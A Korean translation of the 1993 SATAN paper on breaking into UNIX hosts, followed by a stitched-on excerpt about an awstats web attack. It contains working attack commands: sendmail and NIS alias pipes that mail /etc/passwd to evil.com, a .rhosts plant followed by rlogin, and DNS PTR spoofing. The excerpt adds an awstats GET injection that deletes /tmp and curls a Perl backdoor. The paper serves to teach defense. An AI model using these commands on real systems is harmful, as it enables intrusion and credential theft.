    이상의 방법이 통하지 않는 경우 어떤 의미에서는 finger 보다 더욱 편리한 rpcinfo
    를 사용할 수 있다. rpc를 이용하는 많은 시스템이 공격당할 수 있는데, rpcinfo가
    portmapper와 대화하여 그 방법을 알려준다. 호스트가 NIS를 사용하는지, NIS가 서버
    인지 slave인지, 디스크없는 워크스테이션이 있는지 없는지, rusersd나 rstatd 등의
    서비스가 있는지 없는지와 NFS에 대한 정보 등을 알려준다. 아까와 같은 목표시스템
    에서 예를 들어 본다.

    evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
       program vers proto   port
        100004    2   tcp    673  ypserv
        100005    1   udp    721  mountd
        100003    2   udp   2049  nfs
        100026    1   udp    733  bootparam
        100017    1   tcp   1274  rexd

    여기에서 많은 중요한 정보들을 볼 수 있는데, 첫째 이 시스템이 NIS 서버란 사실   
    이다. 아마 많이 알려져있지는 않았서도 서버의 NIS 도메인네임을 한번 알게되면,
    이 NIS 서버의 서브네트 바깥에 있다할지라도 간단한 rpc query를 통해 NIS Maps
    의 어떤 것도 알아낼 수 있다. 예를 들어 ftp.uu.net의 comp.sources.misc에서
    찾을 수 있는 YPX를 사용할 수 있다. 더우기 패스워드를 짐작할 수 있는 것과
    마찬가지로 NIS 도메인네임도 쉽게 짐작 할 수 있다. 부분적으로 혹은 전체적으로
    알게된 호스트이름(예를 들어 victim 이나 victim.com등), 기관 이름, "showmount"
    등으로 알게된 netgroups 이름 등으로 짐작할 수 있다. "victim"으로 짐작하고
    싶다면 다음을 이용한다.                                                        

    evil % ypwhich -d victim victim.com
    Domain victim not bound

    이것은 실패한 경우이다. 만약 성공한 경우라면 victim.com의 NIS서버 호스트이름을 
    반환받게 된다. 그러나 victim.com이 "/var"를 완전히 개방하고 있다는 사실을
    NFS에서 알수 있었다. 이 디렉로리를 마운트하여 "yp"서브디렉토리를 볼 수 있는데,
    혹은 다른 서브디렉토리에서 목표시스템의 도메인네임을 알 수도 있을 것이다.
       
    evil # mount victim.com:/var /foo
    evil # cd /foo
    evil # /bin/ls -alg /foo/yp
    total 17
       1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
       1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
      11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
       1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
       2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
       [...]

    이 경우 'foo_bar"가 NIS 도메인 이름이다. 그리고 가끔 NIS 맵은 크랙킹을 위한    
    패스워드 뿐 아니라 user/employee나 내부 호스트이름 리스트 등을 가지고 있을 수
    있다. 부록 C는 NIS 패스워드 파일에 대한 사례의 결과가 상세히 실려있다.

    ---------------------------------------------------------------------------

    rpcinfo 가 victim.com이 rexed를 사용하고 있다는 것도 알려주고 있다. rshd와     
    마찬가지로 rexed는 원격지에 명령을 실행할 수 있도록 요청하는 서비스이다.
    하지만 rshd와는 달리 hosts.eqiv나 .rhost의 존재 유무에 상관없다. 보통
    rexed 클라이언트 프로그램이 명령어에 있지만 단지 적은 C 프로그램을 가지고
    있으며 어떤 클라이언트 호스트와 사용자 정보를 서버에게 보내면 서버는 이 명령을
    실행하게 된다. 이러한 이유로 rexed를 이용하는 것은 아무 패스워드를 가지고 있지
    않는 것과 같으며 클라이언트에 보안 책임이 있게 된다. rexed의 보안은 secure
    rpc를 사용함으로서 이루어질 수 있다.
        
    ---------------------------------------------------------------------------

    rpcinfo의 결과에 따라 우리는 victim.com이 디스크없는 워크스테이션을 위한 서버  
    임을 알 수 있다. 이것은 디스크없는 워크스테이션의 부팅을 위한 bootparam이 있는
    것을 보고 알 수 있다. 만약 BOOTPARAMPROC_WHOAMI와 클라이언트의 어드레스를 이용
    하여 잘 요청하면 NIS 도메인네임을 알수 있다. 이것은 도메인네임을 알아 NIS 맵(
    예를 들어 패스워드 파일과 같은 것)과 잘 결합하면 우수한 효과를 가질 수 있다.
    여기 간단한 사례 프로그램이 있다.(bootparam 은 SATAN의 일부)
             
       char   *server;
       struct bp_whoami_arg arg;           /* query */
       struct bp_whoami_res res;           /* reply */

       /* initializations omitted... */

       callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
               xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

       printf("%s has nisdomain %s\n", server, res.domain_name);

    "showmout"결과는 victim.com의 디스크없는 워크스테이션들이 쉽다는 것을 알 수    
    있는데, 우리는 이것들의 어드레스를 BOOTPARAMPROC_WHOAMI query에 사용한다.

    evil % bootparam victim.com easy.victim.com
    victim.com has nisdomain foo_bar

    ---------------------------------------------------------------------------

    NIS 마스터는 NIS 도메인 에서의 질문에 대한 mail alias를 제어한다. 한 시스템    
    에서의 mail alias 파일 처럼 메일이 전송될때 명령어를 실행하도록 mail alias
    를 만들 수 있다. 가장 흔한 사례는 메일을 전달할 때 uudecode 를 실행하는
    "decode" alias 이다. 예를 들어 "foo" 라는 alias 를 만들어 다음과 같이
    단순히 메일을 보냄으로서 evil.com으로 패스워드를 메일로 보내게금 할 수 있다.
      
    nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
    nis-master # cd /var/yp
    nis-master # make aliases
    nis-master # echo test | mail -v foo@victim.com

    침입자가 NIS마스터 호스트에 대한 제어를 갖지 않아야 하겠지만, 또한 명백한      
    교훈은 NIS가 보안이 적절하지 않아, 침입자가 NIS 마스터를 제어할 수 있다면
    침입자는 클라이언트에 명령을 실행하는 것과 같은 식으로 디스크없는 워크스테
    이션에 대해 제어할 수 있다.                                                    

    클라이어트와 서버사이에 적절한 인증방법이 제공되지 않은 보안이 적절하지 못한   
    NIS 공격에 대한 여러가지 대응책이 없는 편이다. 더우기 나쁜 것은 어떤 맵은
    마스터 서버에게도 강요될 수 있어서 NIS서버가 클라이언트가 되도록 조정할 수
    있기도 하다. 만약 꼭 NIS를 사용하고자 한다면 도메인네임이 쉽게 짐작할 수
    없도록 하는 것이 조금 도움이 될 것이다. 이 경우 만약 잠재적인 공격자에게
    디스크 없는 클라이언트가 공개된다면 도메인네임을 얻기위한 bootparam 트릭을
    사용하는 간단한 방법이 소용없게 만들 수 있다.만약 NIS가 패스워드 맵을 전파하기
    위해 사용된다면 이미 root 권한을 가진 침입자가 아직도 접근할 수 있으므로
    shadow 패스워드는 더 이상 좋은 보안이 되질 않는다. 좋은 것은 NIS를 사용하지
    않는 것이며, 맵이 잠재적으로 어떠한 강제에의해 종속되지 않도록 최소화하는
    것이다.

    Secure RPC는 이러한 위협을 막는 또 다른 방버이긴 하지만 이것은 관리하기에도    
    어려우며 여기에서 사용된 암호 기법이 우수하지도 않다. SUN이 새롭게 선보인
    NIS+가 이러한 문제점을 해결하였다고 하지만 제한된 SUN에서만 동작하며 원래의
    설계 상의 잇점을 살릴 수도 없다. 마지막으로 패킷 필터링(port 111)을 이용하거
    나 Securelib, SUN의 sunpatch 100482-02 가 도움이 될 것이다.
        

    ---------------------------------------------------------------------------

    portmapper 는 단지 rpc 서비스에 대해서만 알려주는 것은 아니다. 다른 네         
    트워크 서비스에  대해서도 모든 네트워크 포트에  대해 강제적인 방법으로
    위치시킬 수 있다.  마치 sendmail은 25번, telnet 은 23  번, x window 는
    6000 번 이듯이 모든 네트워크 서비스는 특정 포트에 대해 듣고있다. SATAN
    은 원격지 시스템에 대해  네트워크 포트를 스캐닝하며 발견한 정보를 보고
    하는 프로그램을 가지고 있다.   목표시스템에 대해 실행하면 다음을 볼 수
    있다.

    evil % tcpmap victim.com
    Mapping 128.128.128.1
    port 21: ftp
    port 23: telnet
    port 25: smtp
    port 37: time
    port 79: finger
    port 512: exec
    port 513: login
    port 514: shell
    port 515: printer
    port 6000: (X)

    이  시스템은 X  Window 시스템을  실행하고  있다는 것을  알려준다. 만약         
    magic cookie 나 xhost 메카니즘 등을 실행하여 적절히 보호하고 있지 않고
    있다면, 원도우 디스플레이가 캡춰당하거나 보일 수 있으며, 혹은 사용자의
    키입력이 도용되거나 프로그램이 원격지에서  실행될 수 있다. 그리고 목표
    시스템이 X 를  실행하고 포트 6000번으로의 telnet  을 받아들인다면 목표
    시스템의 x window 시스템의 동작을 일시 정지시키는 것과 같은 서비스거부
    공격에 이용될  수 있다.   X 서버의 취약점을  알 수  있는 또다른 방법은
    XOpenDisplay() 함수를 이용하는 것으로서  만약 이 함수가 NULL 을 반환한
    다면 목표의 디스플레이에 접근할 수 없다. 이 기능은 SATAN에 포함된 기능
    이다.  

       char   *hostname;

       if (XOpenDisplay(hostname) == NULL) {
          printf("Cannot open display: %s\n", hostname);
       } else {
          printf("Can open display: %s\n", hostname);
       }

    evil % opendisplay victim.com:0
    Cannot open display: victim.com:0

    완전한 유닉스 보다는 떨어지는 X  터미널도 자체의 보안문제를 가질 수 있         
    다. 많은 X 터미널은 제한이  없는 rsh 접근을 허용하고 있으며, 이것은 목
    표시스템의 터미널에서 X 클라이언트를  시작하게 하면서 결과가 자신의 스
    크린에 나오게 할 수 있는 것이다.

    evil % xhost +xvictim.victim.com
    evil % rsh xvictim.victim.com telnet victim.com -display evil.com

    어떤 경우에도 패스워드 없는 계정이나  hosts.eqiv 의 "+" 처럼 당신의 시         
    스템의 보안을 침해하는 것과 같은  파일시스템과 네트워크 보안 처럼 X 윈
    도우의 보안도 많은 생각을 하게금 한다.

    ---------------------------------------------------------------------------
    이제는 sendmail을 보자. sendmail은 이제는 대부분의 시스템에서 못쓰게금         
    되어있기는 하지만 악명높은 "wiz" 명령의 문제를 포함한 많은 보안 문제를
    가지고 있는 매우 복잡한 프로그램이다. sendmail 이 반환한 버젼번호를 보
    아 목표시스템의 OS 나 때때로 버젼번호 등을 알 수 있다. 이것은 여러가지
    버그들 중 어떤 취약점이 해당하는지를 알수있게금 한다. 더우기 만약 상대
    편이 "decode" alias 를 가지고 있다면 많은 문제를 알 수 있는 것이다.

    evil % telnet victim.com 25
    connecting to host victim.com (128.128.128.1.), port 25
    connection open
    220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
    expn decode
    250 <"|/usr/bin/uudecode">
    quit

    "decode" alias  는 매우 위험한 보안문제를  야기하는데, 이것은 공격자가         
    어떤 파일에 대해 쓰기를 할  수 있도록한다. 특히 대부분은 소유주가 데몬
    인 파일이지만 잠재적으로는 어떤 사용자의 파일도 가능한 것이다. 다음 메
    일을 보면 이것은 "evil.com" 의 zen 사용자의 .rhosts 파일을 보내는 것이
    다.

    evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

    만약 어떠한 홈 디렉토리도 못찾고  또한 쓰기를 할 수 없다면 다른 변형으         
    로서 목표시스템에 어떤  명령을 실행하도록 /etc/aliases.pag 파일에 무언
    가  첨가하는  것이다.  대부분의  시스템들이  메일  alias  를  제어하는
    /etc/aliases.pag나 aliases.dir 파일들이  완전히 쓰기 개방되어있어 성공
    할 가능성이 높다.

    evil % cat decode
    bin: "| cat /etc/passwd | mail zen@evil.com"
    evil % newaliases -oQ/tmp -oA`pwd`/decode
    evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
    evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

    만약 vrfy로 어드레스를 확인하거나  expn 을 통해 어드레스 확장이 된다는         
    것을 sendmail 과의  대화를 통해 알 수있다면 많은  것을 발견할 수 있다.
    finger나 rusers 를 사용할 수 없을  때 vrfy 나 expn 는 사용자나 목표 시
    스템을 확인하는데 사용될  수 있다. Vrfy 나 expn  은 vacation 이나 mail
    sorter 와 같은  문제있는 프로그램과의 파이프를 찾는데  사용될 수 있다.
    vrfy 와 expn 등을  금지하는 것이 좋은데 대부분의 버젼에서는 srvrsmtp.c
    의 소스를 보고 CmdTab structure내  "vrfy" 와 "expn" 라인을 지우거나 바
    꾸는 것이 좋다. 소스가 없는 곳에서도 바이너리 에디터를 통해 2개의 스트
    링을 공백으로 교체하여 지울 수 있다. 부록 D 에서 보이는 것과 같이 최신
    의 sendmail 버젼으로 교체하는 것도 하나의 방법이다.
                                                                                  
    ---------------------------------------------------------------------------

    sendmail-sendoff  에서도  잘  알려진  버그가  2개  있다.  처음  버그는         
    Berkeley 에서 5.59 버젼에서 분명하게 문제를 해결하였다. 이전 버젼에 대
    해서는 "evil.com"이 에러메세지에도  불구하고 지정한 파일이 메일 헤더에
    첨부되어 받을 수 있다.

    % cat evil_sendmail
    telnet victim.com 25 << EOSM
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    random garbage
    .
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    evil.com
    .
    quit
    EOSM

    evil % /bin/sh evil_sendmail
    Trying 128.128.128.1
    Connected to victim.com
    Escape character is '^]'.
    Connection closed by foreign host.

    evil % rlogin victim.com -l zen
            Welcome to victim.com!
    victim %

    2번째 문제는 최근에 발견된 것으로서 송신자가 어떤 쉘 명령을 정의하거나         
    송신자나 목적지 어드레스 등의 패스이름을 지정하는 것을 허용하는 것이딪
    다. 여기에서 자세한  설명은 생략하지만 usenet news  나 기타에서 알려진
    바가 있으므로 생략하며 대부분의 sendmail 에서 문제가 있다. 하지만 대표
    적인 공격 형태는 다음과 같다.

    evil % telnet victim.com 25
    Trying 128.128.128.1...
    Connected to victim.com
    Escape character is '^]'.
    220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
    mail from: "|/bin/mail zen@evil.com < /etc/passwd"
    250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
    rcpt to: nosuchuser
    550 nosuchuser... User unknown
    data
    354 Enter mail, end with "." on a line by itself
    .
    250 Mail accepted
    quit
    Connection closed by foreign host.
    evil %

    지금 sendmail 버젼  8.6.4 는 단지 몇몇  엄체에서만 많은 보안취약점들을         
    해결하고 있는 것으로 알려지고 있으며 부록 D 를 참고하기 바란다.


    Trust

    우리의 마지막 주제로서 약간  이론적인 입장에서 신뢰(Trust) 문제를 살펴         
    보기로 한다. 이것은 대부분 어떤  기관 내부에서 자원 공유의 입장에서 패
    스워드나 기타 인증 방법을 통하지 않는 것을 의미하는데, 클라이언트에 대
    한 제한을 어떻게 할 수 있나에 대해 말하려는 것이다.

    호스트가  신뢰하는  방법은 여러가지가  있을  수  있다. hosts.equiv  나
    .rhosts 에서 패스워드를 묻지 않고 접근을 허용하는 방법, 원격지시스템이
    권한을 사용하거나 남용하도록 해주는 X  서버, NFS 제어를 통한 파일의 개
    방 등이다. 모든 것들은 클라이언트들의 어드레스를 호스트이름으로 변환할
    때  이 서비스를  받을수  있을지 없을지가  결정된다.  직접  하는 방법은
    /etc/hosts 를 이용한 간단한 방법이며, 현재는 대부분이 DNS, NIS 등을 이
    용하고 있다. 클라이언트가 접속 요청시  IP 어드레스에 의해 역 lookup 이
    이루어져 원하는 클라이언트인지 확인을 바라게 된다.                             

    이러한 확인 방법에 대해  많는 관리자들이 이해하고 있지만 중요한 실질적         
    인 보안문제는 호스트이름 위장의  경우이다. 이것은 단순히 관리자들이 잘
    알고 있는 hosts.equiv 나 .rhosts  문제, X 윈도우, NFS 문제의 차원을 넘
    어선 문제이다. 어떠한 신뢰이라 할지라도 위장되거나 무력화되거나 바꿔치
    기 될 수 있는데,이는 서버의 관리영역 밖에 있는 authority 가 클라이언트
    트의 신뢰성(Credential)을  점검하거나 신뢰하는  메카니즘이 매우 취약한
    경우에서 비롯되는 것이다. 명백히 NIS, DNS 등에서의 데이타베이스가 만약
    침해 당했다면 침입자는 신뢰하는  시스템에서의 접근인 것 처럼 위장할 수
    있으며, 이것으로 목표시스템이 신뢰하는  어떤 호스트가 있는지 충분히 알
    수 있기 때문이다. 이 작업은 시스템관리자나 root 와 같은 계정이 어떤 호
    스트에서 접근하는지를 검사하면 매우 도움이 된다.

    다시 victim.com 의 사례로 돌아가서 관리자가 big.victim.com 에서 접근하         
    는  것을 알았다고  가정해보자.  evil.com의 DNS  PTR  레코드를 교체하여
    evil.com 에서 victim.com 으로 rlogin 하려하면 victim.com 은 호스트이름
    을 보려고 하여 교체한 레코드를 보게될 것이다.

    다음은 원래의 PTR 레코드와 교체한 PTR 레코드이다.

    원래 PTR   1.192.192.192.in-addr.arpa     IN      PTR     evil.com

    수정 PTR   1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

    다음에는 victim.com 에  달려있는데, big.victim.com 이 /etc/hosts.equiv         
    나 .rhosts 에 존재한다면 접속을  허용하여 패스워드 없이 접근할 수 있을
    것이다. NIS 에서는 침입자가 만약 NIS 마스터를 제어하고 있다면 호스트데
    이타베이스를 수정하는 것은  더욱 쉬운 일이며, 원하는  정보를 가진 목표
    시스템을 이용하여 NIS 를 위장하거나 강제화할 수 있을 것이다.

    이러한 공격을 막기위한 2가지  방법이 있다. 첫째는 매우 직접적이지만 비
    현실적인 것으로서 단순히 어떠한 호스트도  믿지 않는 것이다.  다른 방법
    은 암호프로토콜을 사용하는 것으로서 Secure NFS, NIS+ 등의 Secure RPC를
    사용하는 방법인데, 만약 암호가 깨진다 하더라도 암호를 사용하지 않는 기
    존의 인증 방식보다 훨씬 우수하다. 다른 방법으로서 smartcard 하드웨어를
    사용하거나, kerberos  등의 소프트웨어를 사용할 수  있는데, 전자는 아직
    잘 개발된 상태가 아니며, 후자는 시스템의 전반적인 수정이 요구된다.
    부록 B 는 인터넷 여러군데에서 검토한 비공식자료로서 보다 자세히 설명하
    고 있다.


    Protecting the system

    시스템보안을 위한 일반적인 제안들을 보이고자 한다.                             

    - 만약 finger 서비스를 꼭 해야 한다면 수정된 버젼을 설치하라. 사용자의
      홈 디렉토리니, 로그인 한 호스트이름 등을 알릴 필요는 없는 것이다.
    - 절대적으로 필요하지 않다면 NIS 를 사용하지 말것이며, NFS 도 가능한
      사용하지 않는다.
    - 절대로 NFS 파일시스템을 완전히(Worldwide) 공개하지 말것이며, 가능한
      읽기 전용으로 만들어라.
    - 서버를 방어하고 보호한다. 단지 관리할 수 있는 계정만을 허용한다.
    - inetd 나 portmapper 등에서 불필요한 서비스가 없는지 점검한다. 만약
      접속하는 시스템의 로그를 기록하고 싶다면 wrapper 를 사용하는 것이
      좋은데, 표준 유닉스보다 우수한 로그와 특히 네트워크 공격에 대한 기록
      이 우수하다. 그리고 가능한 보안 관련 정보를 입수하기 위해 syslog 의
      loghost 메카니즘을 이용하라.
    - 완벽하게 믿을 수 있는 시스템이 없다면 신뢰하는 호스트를 없앤다.
    - Shadow 패스워드와 잘못된 패스워드를 가려내는 패스워드 명령을 사용
      한다. 사용하지 않는 계정과 시스템을 없앤다.
    - 최근의 자료(참고문헌)와 도구들을 수집하며, 보안 사고 문제나 보안
      관련 문제를 지속적으로 남들과 대화한다. 최소한 CERT mailing list
      와 보안잡지, Firewall mailing list, 보안 관련 뉴스그룹 등에 가입한
      다. 무관심도 보안 문제에 가장 큰 적이다.
    - 기관의 모든 호스트에 대해 가능한 최신 패치를 설치한다.                       

    네트워크 방하벽시스템, Kerberos, 일회용 패스워드시스템 등이 보안문제를         
    해경하는데 도움이 되지만 위에서  여기에서 알려진 이러한 공격에 모무 안
    전한 것은 아니다. 즉 위 3,  4 가지 우수한 보안 기법을 사용하는 것이 좋
    다고 권고하지만 모두 해결되는 것은 아니라는 말이다.


    Conclusions

    Perhaps none of the methods shown here are surprising; when writing this
    paper, we didn't learn very much about how to break into systems. What we
    _did_ learn was, while testing these methods out on our own systems and
    that of friendly sites, just how effective this set of methods is for
    gaining access to a typical (UNIX) Internet host. Tiring of trying to type
    these in all by hand, and desiring to keep our own systems more secure, we
    decided to implement a security tool (SATAN) that attempts to check remote
    hosts for at least some of the problems discussed here. The typical
    response, when telling people about our paper and our tool was something on
    the order of "that sounds pretty dangerous -- I hope you're not going to
    give it out to everybody. But you since you can trust me, may I have a copy
    of it?"

    We never set out to create a cookbook or toolkit of methods and programs on
    how to break into systems -- instead, we saw that these same methods were
    being used, every day, against ourselves and against friendly system
    administrators. We believe that by propagating information that normally
    wasn't available to those outside of the underworld, we can increase
    security by raising awareness. Trying to restrict access to "dangerous"
    security information has never seemed to be a very effective method for
    increasing security; indeed, the opposite appears to be the case, since the
    system crackers have shown little reticence to share their information with
    each other.

    While it is almost certain that some of the information presented here is
    new material to (aspiring) system crackers, and that some will use it to
    gain unauthorized entrance onto hosts, the evidence presented even by our
    ad hoc tests shows that there is a much larger number of insecure sites,
    simply because the system administrators don't know any better -- they
    aren't stupid or slow, they simply are unable to spend the very little free
    time that they have to explore all of the security issues that pertain to
    their systems. Combine that with no easy access to this sort of information
    and you have poorly defended systems. We (modestly) hope that this paper
    will provide badly-needed data on how systems are broken into, and further,
    to explain _why_ certain steps should be taken to secure a system. Knowing
    why something is a problem is, in our opinion, the real key to learning and
    to making an informed, intelligent choice as to what security really means
    for your site.

    ---------------------------------------------------------------------------

    부록 A: SATAN (Security Analysis Tool for Auditing Networks)

    SATAN은 보다 크고 이해하기 쉬운 프로토타입 보안 도구이다.  SATAN 은            
    목표하는 시스템의 일반적이고 도움이 될 정보를 상세하게 보고하거나 네트워
    크와 윈도우 시스템의 버그나 보안 취약요소들을 점검하여 보고한다. 그리고
    결과 데이타에 대해 정해진 규칙에 따른 필터링을 하고 최종 분석 결과를 요약
    하기 위한 전문가프로그램이 사용된다. 이것은 빠르게 처리되지는 않지만 잘
    모듈화되어있으며, 쉽게 수정할 수 있다.
    SATAN 은 여러개의 서브프로그램으로 구성되며, 각각은 Perl, Shell, C  로 구현
    되어 있으며, 각각 주어진 목표를 공격 점검할 수 있다. 추후 확장을 위해서는
    메인 디렉토리에 ".sat"식의 실행프로그램을 추가하면 된다. 드라이버는 주어진
    복표들에 대해  DNS, ping 등으로 존재 유무를 확인하고 실행파일들이 실제 그
    시스템을 공격한다. 결과를 분석하는 필터링, 인터프리트 프로그램이 실행되어
    마지막으로 사용자가 읽을 수 있는 형태로 요약 보고한다.                         

    ---------------------------------------------------------------------------

    부록 B: 전산망 보안 점검 및 분석 사례

    비공식적으로 대학, 군사기관 및 기업체의 200 여호스트 및 40000여개의 계정       
    에 대해 점검을 실행한바 기관의 평균 10%가 .rhosts를 가지고 있었으며 이것
    들은 평균 6개의 신뢰하는 호스트들을 가지고 있었다. 하지만 어떤 경우에는
    100개 이상의 엔트리를 가지거나 심지어 400 여개의 엔트리를 가진 .rhosts 를
    가진 곳도 있었다.  그리고 대부분의 경우 인터넷에 직접 연결되어 있었고 단
    지 하나의 기관만이 방화벽을 운영하고 있었는데, 대부분 기관 외부에 신뢰하
    는호스트들을 가지고 있어 대부분 관리자의 통제 밖에 있다고 보인다. 규모가
    큰 기관들은 .rhosts를 별로 가지고 있지 않았지만 신뢰하지 않는 호스트 뿐 아
    니라 .rhosts 파일의 크기는 대단히 컸다.

    비록 얼마나 많은 엔트리들이 정당한지 확인하기 어려웠고, 특히 와일드카드,       
    "Makefile". "Message-id:", "^Cs^A^C^M^Ci^C^MpNu^L^Z^O" 등에 대해서는
    올바르게 신뢰하는 시스템으로서 구성되었는지를 확인하기 어려웠지만, 각 기
    관은 자신의 보안을 각 사용자에게 맡기고 있다는 것을 알 수 있었다. 많은
    량의 엔트리를 가진 .rhosts 파일의 경우에는 쉘 형태의 코멘트를 많이 가지
    고 있었는데, 대부분의 유닉스에서는 이러한 형태를 올바르게 해석하지 않으
    며, 침입자의 NIS, DNS 로 호스트이 름을 "#"으로 위장한 공격으로 자유롭게
    접근한다.                                

    여기 조사한 기관들이 인터넷에서의 대표적인 기관으로 발하기는 어렵고 사실       
    이 아닐지도 모른다.  하지만 많은 관리자들은 보안연구나 보안제품에 대해 작
    업들을 많이 하고 있었을 뿐만 아니라 취미나 전문으로 프로그램을 만들고 보
    안 관련 작업을 많이 하고 있었던 것으로 보인다.                                 

    ---------------------------------------------------------------------------

    부록 C: 시스템 진단 사례

    우리가 가진 시스템의 하나에서 출발한 침입을 알리는 전자우편을 받고 조사에      
    착수하여  어떤 기업체에서 온 침입자가 패스워드를 훔치기 쉬운 기관들을 검
    토하고 있는 것을 발견하였다. 이때 패스워드를 훔치기 쉬운 기관이란 NIS 도
    메인이름을 쉽게 유추할 수 있다든가 NIS 서버에 쉽게 접근할 수 있는 기관을
    의미한다. 침입자가 얼마나 진전이 있었는지 는 모르지만 이 기관에 경고를 주
    는 일을 하기로 하였다. 침입자는 656개의 호스트리스트를 가지고 있었는데,
    그중에서 25개의 호스트에서 24개는 쉽게 훔쳐낼 수 있었으며, 이 중 3 분의
    1은 적어도 하나의 패스워드 없는 계정으로 대화형 쉘을 가지고 있었다.  총
    1594개의 패스워드 파일 엔트리에서 낮은 수준의 SUN 시스템에서 10분망에
    50개 이상의 패스워드를 알아내었으며, 40%는 다음 20분 만에, root 의 패스워
    드를 1 시간만에 하나 알아애었다. 마음 며칠 만에는 5개의 root 패스워드를
    알아내었다. 결국 24개(80%)의 패스워드 파일이 적어도 하나의 잘알려진 패스
    워드를 가지고 있었으며, 1594개의 엔트리중 259(6분의 1)개의 패스워드가 쉽
    게 추정 할 수 있었다.                                                          

    ---------------------------------------------------------------------------

    부록 D: 무료 인터넷 보안 자료를 받으려면

    Mailing lists:

      *  The CERT (Computer Emergency Response Team) advisory mailing list.
        Send e-mail to cert@cert.org, and ask to be placed on their mailing
        list.

      *  The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
        and ask to be added to the list.

      *  The Firewalls mailing list. Send the following line to
        majordomo@greatcircle.com:

            subscribe firewalls

      *  Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
        asking to be placed on the list.

    Free Software:

    COPS (Computer Oracle and Password System) is available via anonymous ftp
    from archive.cis.ohio-state.edu, in pub/cops/1.04+.

    The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in
    pub/security.

    Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.

    TAMU is a UNIX auditing tool that is part of a larger suite of excellent
    tools put out by a group at the Texas A&M University. They can be gotten
    via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

    Sources for ftpd and many other network utilities can be found in
    ftp.uu.net, in packages/bsd-sources.

    Source for ISS (Internet Security Scanner), a tool that remotely scans for
    various network vulnerabilities, is available via anonymous ftp from
    ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

    Securelib is available via anonymous ftp from ftp.uu.net, in
    usenet/comp.sources.misc/volume36/securelib.

    The latest version of berkeley sendmail is available via anonymous ftp from
    ftp.cs.berkeley.edu, in ucb/sendmail.

    Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
    ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

    ---------------------------------------------------------------------------

    참고문헌:

    Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
    Institute of Technology, June 1987.

    Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
    (unpublished).

    Massachusetts Institute of Technology, X Window System Protocol, Version
    11, 1990.

    Shimomura, Tsutomu, private communication.

    Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.

    ---------------------------------------------------------------------------

    추천 참고문헌:
    2006/09/08 22:30 2006/09/08 22:30
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 까비모님의 블로그
    원본 http://blog.naver.com/kabimo/50001690161
    최근 웹 애플리케이션의 취약성을 이용한 웹 해킹이 기승을 부리고 있다.
    다음은 대표적인 웹 로그 분석 프로그램인 'awstats'의 취약성을 이용한 공격 사례다.

    홍석범 | 오늘과 내일 과장

    이는 GET 메소드로 해당 사이트에 특정 옵션을 주면 바로 시스템 명령어를 실행할 수 있다는 점을 이용한 것으로, 먼저 /tmp 디렉토리로 이동한 뒤 특정 사이트에서 백도어 파일을 다운로드하고 perl을 실행한다는 것을 알 수 있다. 이 때 awstats.pl에 SUID(Set User ID) 가 설정되지 않으면 웹 서버 권한으로 실행돼 nobody로 작동할 것이다.

    GET
    http://www.domain.com/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%
    20;rm%20-rf%20a.pl*;echo| HTTP/1.1


    이상과 같은 웹 해킹 후에는 몇 가지 뚜렷한 현상이 나타나는데, 우선 스팸이나, 피싱 등 대량의 스팸 메일을 발송하는 경우다. 릴레이가 허용된 메일 서버가 많이 사라지고 각종 안티 스팸 정책들이 설정되면서 스패머들이 설 자리가 없어지다 보니 자연스럽게 해킹을 통해 스팸을 발송하는 경우가 증가하고 있다. 스패머들은 웹 해킹으로 nobody 등 웹 서버 실행 권한을 획득한 후 wget이나 curl, lynx 등의 시스템 명령어를 통해 서버에 메일 발송 프로그램 등 각종 백도어 파일을 다운로드하고 실행한다. 이로 인해 시스템에 과부하가 일어나 정상적으로 운영되던 서버가 하루 아침에 각종 RBL에 스팸 발송 리스트에 등록되는 경우가 생긴다.
    자신의 서버가 RBL에 등록됐는지 여부는 다음의 질문을 통해 확인하면 된다.


    http://www.dnsstuff.com/tools/ip4r.ch?ip                  =211.47.xx.xxx


    다음은 PS를 사용할 경우 실제 스팸을 발송할 때 보이는 관련 프로세스로, 웹 서버 실행 권한인 nobody를 통해 perl을 이용해 메일을 발송하고 있음을 알 수 있다.

    nobody   25619  0.0  0.0   02:14   0:00 sh -c perl sendeb.pl


    두 번째는 일종의 DoS 공격인 UDP 플루딩 공격을 하는 경우다. TCP나 ICMP보다 UDP를 이용할 경우 보다 효과적이기 때문에 거의 대부분 UDP를 사용하게 된다.
